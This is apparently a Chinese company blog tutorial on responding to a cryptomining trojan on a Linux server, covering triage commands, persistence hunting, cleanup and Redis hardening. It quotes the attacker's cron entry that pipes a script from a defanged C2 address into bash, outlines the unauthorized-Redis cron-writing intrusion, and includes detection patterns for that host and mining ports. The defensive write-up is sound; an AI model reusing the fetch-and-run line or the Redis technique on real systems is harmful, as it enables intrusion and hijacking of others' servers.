公司动态
服务器CPU飙升100%?手把手教你排查与清理挖矿木马
1. 项目概述当服务器CPU突然“发烧”最近处理了一起典型的服务器安全事件一台线上业务服务器的CPU使用率在凌晨时段毫无征兆地飙升至100%并且持续不退。登录系统一看top命令下一个陌生的进程kthreaddk赫然排在首位吃掉了绝大部分的CPU资源。这几乎是挖矿木马Cryptojacking Malware最经典的“名片”——它们悄无声息地入侵然后劫持你的计算资源默默地为攻击者“挖矿”牟利。对于运维、安全工程师甚至开发者来说遇到这种情况绝不能简单地kill进程了事。粗暴的终止操作往往治标不治本木马很可能设置了守护进程、定时任务或系统服务在你重启后“春风吹又生”。一次完整的应急响应Incident Response目标不仅是清除眼前的异常更要追溯入侵源头、评估影响范围、修复安全漏洞并建立防护措施防止再次发生。这篇手册就是基于多次实战经验梳理出的一套从“发现异常”到“根除加固”的完整操作流程。无论你是第一次面对这种状况的新手还是想完善自己排查思路的老手都可以按图索骥一步步将潜伏在系统中的“矿工”彻底清理干净。2. 应急响应核心思路与流程设计应急响应不是无头苍蝇似的乱撞而是一场有策略的“排雷”行动。核心思路可以概括为“先控制后分析先止血再根治由现象溯源头”。2.1 响应阶段划分与核心目标一次规范的应急响应通常分为几个阶段每个阶段目标明确准备与检测阶段平时就要准备好排查工具包如busybox静态编译版本、chkrootkit、rkhunter等并建立监控告警如CPU持续90%超过5分钟。本次事件正是通过监控告警触发的。抑制与遏制阶段这是最先要做的事。发现异常后如果业务允许应立即将受影响服务器从网络隔离拔网线或防火墙阻断防止木马横向移动或对外通信。如果业务关键至少要在主机层面限制异常进程的资源如用cpulimit限制CPU使用率为排查争取时间。分析与溯源阶段这是最核心的部分。我们需要回答几个关键问题这是什么恶意程序它怎么进来的入侵途径它还做了什么影响范围它有没有同伙关联进程、文件、网络连接。根除与恢复阶段根据分析结果制定清理方案。不仅要删除恶意文件还要清除持久化机制如crontab、systemd服务、启动项。清理后恢复业务并验证。总结与加固阶段事后必须复盘撰写报告。更重要的是修复导致入侵的漏洞如弱口令、未授权访问的Redis调整安全策略并可能部署HIDS主机入侵检测系统等更高级的防护。2.2 为什么不能直接kill进程很多人的第一反应是找到高CPU进程然后kill -9。这非常危险原因有三可能误杀高CPU进程不一定都是恶意的也可能是正常的业务进程突发异常。打草惊蛇一些高级木马有“看门狗”机制主进程被杀死后守护进程会立即重新拉起来或者触发更隐蔽的后门。丢失线索运行中的进程在内存中其打开的文件、网络连接、子进程关系都是宝贵的分析线索。直接杀掉这些信息就丢失了。正确的做法是先观察、记录、分析再清理。我们的排查路径正是遵循这个原则像侦探一样层层剥茧。3. 从CPU飙升开始的层层排查当接到CPU告警后我们需要一套由表及里、由浅入深的排查命令组合拳。以下操作建议在隔离环境或做好记录的情况下进行。3.1 初步定位谁在消耗CPU首先我们需要快速定位罪魁祸首。# 1. 经典top命令按CPU排序进入后按P top # 2. 更直观的htop如果已安装 htop # 3. 使用ps命令快速查看高CPU进程 ps aux --sort-%cpu | head -20在top中我们发现了名为kthreaddk的进程PID为7853CPU占用98.6%。这个名字明显在模仿系统内核线程kthreadd企图鱼目混珠。注意挖矿木马进程名常常具有欺骗性例如kthreadd、kworker、mysqls、nginxs等与系统或常见业务进程仅一字之差。需要仔细辨认。3.2 深入分析进程的详细画像找到可疑进程后不要急着杀先把它查个底朝天。# 1. 查看进程的详细信息包括启动路径 # 通过/proc文件系统查看 ls -la /proc/7853/exe # 查看进程实际执行文件路径 cat /proc/7853/cmdline # 查看启动命令可能被混淆 cat /proc/7853/environ # 查看进程环境变量有时会有C2地址 # 2. 查看进程打开的文件和网络连接 lsof -p 7853 # 重点关注它打开了哪些文件配置文件、日志、矿池地址文件监听了什么端口连接了哪个外部IP # 3. 查看网络连接定位C2服务器或矿池 netstat -antp | grep 7853 # 或使用ss命令 ss -antp | grep 7853 # 如果发现对陌生IP尤其是海外IP的持续TCP连接极可能是矿池地址。通过ls -la /proc/7853/exe我们发现这个进程的实际执行文件是/tmp/.X11-unix/.rsync/kthreaddk。路径藏得很深在/tmp下的隐藏目录中这是木马的常见藏身地。通过netstat我们发现该进程正与一个IP45.9.148[.]189的3333端口保持长连接。通过威胁情报平台如微步在线、VirusTotal查询该IP被标记为门罗币XMR矿池地址这坐实了挖矿行为。3.3 关联排查寻找同伙与持久化痕迹一个成熟的挖矿木马很少单兵作战。我们需要排查它可能留下的“后手”。# 1. 查看可疑进程的父进程及子进程树 pstree -aps 7853 # 看看是谁启动了它它又启动了谁。可能发现通过bash脚本或下载器启动。 # 2. 排查常见的持久化位置 # a) 定时任务 - 攻击者最常用的复活手段 crontab -l # 当前用户 cat /etc/crontab # 系统级 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ ... # 查看所有cron目录 # 特别注意里面是否有下载执行sh脚本的命令如 curl ... | bash # b) 系统服务 systemctl list-unit-files --typeservice | grep enabled # 检查是否有陌生的服务。重点关注名称像系统服务但实为恶意的。 ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -E (kthread|mine|pool|\.service) # c) 启动项 ls -la /etc/rc.local /etc/rc.d/rc.local # 老式系统 ls -la /etc/init.d/ # SysV init # d) 用户配置文件 检查 ~/.bashrc, ~/.bash_profile, ~/.profile看是否有恶意命令在登录时执行。 # 3. 查找近期被修改的可执行文件或脚本 find / -type f -name *.sh -o -name *kthread* -o -name *mine* -mtime -7 2/dev/null | head -20 find /tmp /var/tmp -type f -mtime -2 2/dev/null # 重点查临时目录在这次案例中我们在/etc/cron.d/目录下发现了一个名为syslog的文件又是伪装内容如下*/10 * * * * root curl -s http://45.9.148[.]189/logo3.jpg | bash /dev/null 21这证实了攻击者通过定时任务每10分钟尝试从C2服务器拉取脚本执行用于更新木马或确保进程存活。3.4 影响评估它还在哪里动了手脚挖矿木马除了消耗CPU还可能进行其他恶意操作。# 1. 检查是否有SSH后门 检查 ~/.ssh/authorized_keys 文件看是否被添加了攻击者的公钥。 检查 /etc/ssh/sshd_config 是否被修改。 # 2. 检查内核模块 lsmod | grep -E (hp|hid|snd|lib) # 一些rootkit会加载恶意内核模块 find /lib/modules -name *.ko -mtime -7 2/dev/null # 3. 检查账户 cat /etc/passwd | grep -E “/bin/bash|/bin/sh” # 查看所有可登录用户 last # 查看登录历史有无异常IP经过检查本次事件未发现SSH后门和新增用户主要影响是资源耗尽和潜在的定时任务后门。4. 清理与加固彻底铲除并亡羊补牢分析清楚后就可以开始安全地清理了。顺序很重要先清除持久化机制再停止进程最后删除文件。4.1 步骤一清除持久化项目这是防止“死灰复燃”的关键。# 1. 删除恶意定时任务 rm -f /etc/cron.d/syslog # 删除我们发现的恶意cron文件 # 再次全面检查一遍所有cron目录确保没有遗漏 find /etc/cron* -type f -exec grep -l 45.9.148 {} \; 2/dev/null # 2. 如果发现了恶意系统服务停止并禁用 systemctl stop malicious-service-name systemctl disable malicious-service-name rm -f /etc/systemd/system/malicious-service-name.service systemctl daemon-reload # 3. 清理启动项和配置文件 # 检查并清理 /etc/rc.local, ~/.bashrc 等文件中添加的恶意命令4.2 步骤二终止恶意进程现在可以干掉进程了。# 1. 先尝试正常终止 kill 7853 # 等待几秒用top或ps检查是否还在 # 2. 如果还在强制终止 kill -9 7853 # 3. 检查是否有子进程或关联进程也被启动一并终止 # 根据之前pstree的结果来操作4.3 步骤三删除恶意文件进程终止后删除其相关文件。# 1. 删除进程本体文件 rm -rf /tmp/.X11-unix/.rsync/ # 删除整个隐藏目录 # 2. 查找并删除可能的其他组件如下载器、配置文件 find / -name *kthreaddk* -o -name *xmrig* -o -name *miner* 2/dev/null | xargs rm -rf # 注意find的删除操作要非常谨慎最好先echo列出确认再执行删除。 # 3. 清理可能残留的日志或临时文件4.4 步骤四修复入侵途径清理完成后必须找到漏洞点否则很快又会被入侵。检查漏洞回顾服务器近期变更。常见入口有弱口令爆破检查/var/log/secure或/var/log/auth.log看是否有大量失败登录尝试。未授权访问服务如Redis、Docker API、Hadoop YARN等对外开放且无认证。应用漏洞如Web应用的RCE漏洞ThinkPHP, Log4j等。恶意软件包通过pip、npm、docker pull等引入的带矿机代码的包。本次案例溯源我们检查了Redis日志发现大量来自外网的CONFIG SET dir和SET命令这是典型的利用未授权Redis写入定时任务的入侵手法。原因是运维在测试时将Redis绑定在了0.0.0.0且未设置密码。加固措施立即为Redis设置强密码并修改redis.confbind 127.0.0.1requirepass YourStrongPassword。修改所有系统的弱口令启用密钥登录禁用root远程登录。更新系统和应用软件到最新版本修复已知漏洞。配置防火墙如iptables, firewalld最小化开放端口。考虑部署文件完整性监控如AIDE或主机入侵检测系统HIDS以便下次能更快发现异常。5. 常见问题与高级排查技巧在实际响应中情况可能更复杂。下面是一些进阶问题和应对技巧。5.1 进程隐藏怎么办—— 使用未受污染的工具高级的Rootkit会Hook系统调用让ps、top、netstat等命令也看不到它们。这时需要使用静态编译的、不受宿主系统库影响的工具。# 从干净的机器上下载静态编译的busybox上传到受害服务器 chmod x busybox ./busybox ps ./busybox netstat # 或者使用/proc文件系统直接查看 ls -la /proc/[0-9]*/exe | grep deleted # 查找已被删除但进程还在的文件无磁盘文件5.2 文件被删除怎么办—— 内存取证与网络流量分析如果恶意进程文件在运行后被删除磁盘上就找不到了。但进程还在内存中。内存取证可以使用gcore命令对可疑进程生成核心转储文件然后用strings或Volatility等工具分析内存镜像提取恶意代码片段。gcore -o malcore 7853 strings malcore.7853 | grep -A5 -B5 pool网络流量分析如果服务器上有tcpdump可以抓包分析通信内容。挖矿协议如Stratum的流量特征比较明显。5.3 排查脚本化与自动化对于拥有大量服务器的环境手动排查不现实。可以编写一个轻量化的排查脚本在发现异常时快速分发执行收集信息。#!/bin/bash # quick_check.sh - 快速安全排查脚本 echo 高CPU进程 Top10 ps aux --sort-%cpu | head -11 echo echo 可疑网络连接 netstat -antp | grep -E ‘(45\.9\.148\.189|:3333|:5555|:6666|:9999)‘ echo echo 可疑定时任务 find /etc/cron* -type f -exec ls -la {} \; find /etc/cron* -type f -exec cat {} \; 2/dev/null | grep -v ^# echo echo /tmp目录可疑文件 ls -la /tmp/ /var/tmp/ 2/dev/null | grep -E “^d|\.(sh|py|elf)$”实操心得脚本不要在生产环境直接curl | bash运行避免被中间人攻击或本身就被篡改。应先下载到本地审计再用安全渠道上传到目标服务器执行。5.4 挖矿木马家族识别与特征了解常见家族有助于快速判断XMRig最流行的门罗币挖矿程序。特征进程名可能为xmrig或伪装成syslog、kthreadd。连接矿池端口常为3333、5555、7777等。SystemdMiner利用Systemd服务持久化。会创建systemd-login.service之类的恶意服务。Redis未授权访问利用脚本通常通过写入/var/spool/cron/root或/etc/cron.d/进行持久化下载的shell脚本通常来自pastebin或攻击者自己的HTTP服务器。Docker容器逃逸挖矿因容器配置不当特权模式、挂载宿主机目录导致恶意进程会在宿主机上运行。排查清单速查表排查项命令/路径寻找什么CPU占用top,htop,ps aux --sort-%cpu陌生、高CPU、模仿系统名的进程进程详情ls -la /proc/PID/exe,cat /proc/PID/cmdline进程的真实路径、启动参数网络连接netstat -antp,ss -antp,lsof -p PID连接陌生IP矿池、长时间连接持久化-定时任务crontab -l,/etc/crontab,/etc/cron.d/,/var/spool/cron/包含curl持久化-系统服务systemctl list-unit-files,/etc/systemd/system/,/usr/lib/systemd/system/陌生、伪装的服务文件持久化-启动项/etc/rc.local,/etc/init.d/,~/.bashrc添加了恶意启动命令文件系统find /tmp /var/tmp -type f -mtime -2,find / -name “*xmrig*”临时目录下的可疑脚本、二进制文件账户与日志last,cat /etc/passwd,grep “Failed password” /var/log/secure异常登录IP、新增用户、爆破痕迹处理完这次事件我最大的体会是安全是一个持续的过程而非一次性的动作。应急响应是“救火”但真正的价值在于“防火”。通过这次挖矿事件我们不仅清理了木马更重要的是推动了全公司Redis实例的安全配置整改并上线了基于主机的异常进程监控。对于运维人员来说保持对系统资源的常态化监控不仅仅是CPU还有异常端口、未知进程对公网服务实行最小化暴露原则定期进行安全扫描和漏洞修复这些日常“琐事”才是抵御此类自动化攻击最坚实的盾牌。下次再看到CPU飙升你就能从容地按照这套“隔离-分析-清理-溯源-加固”的组合拳快速解决问题了。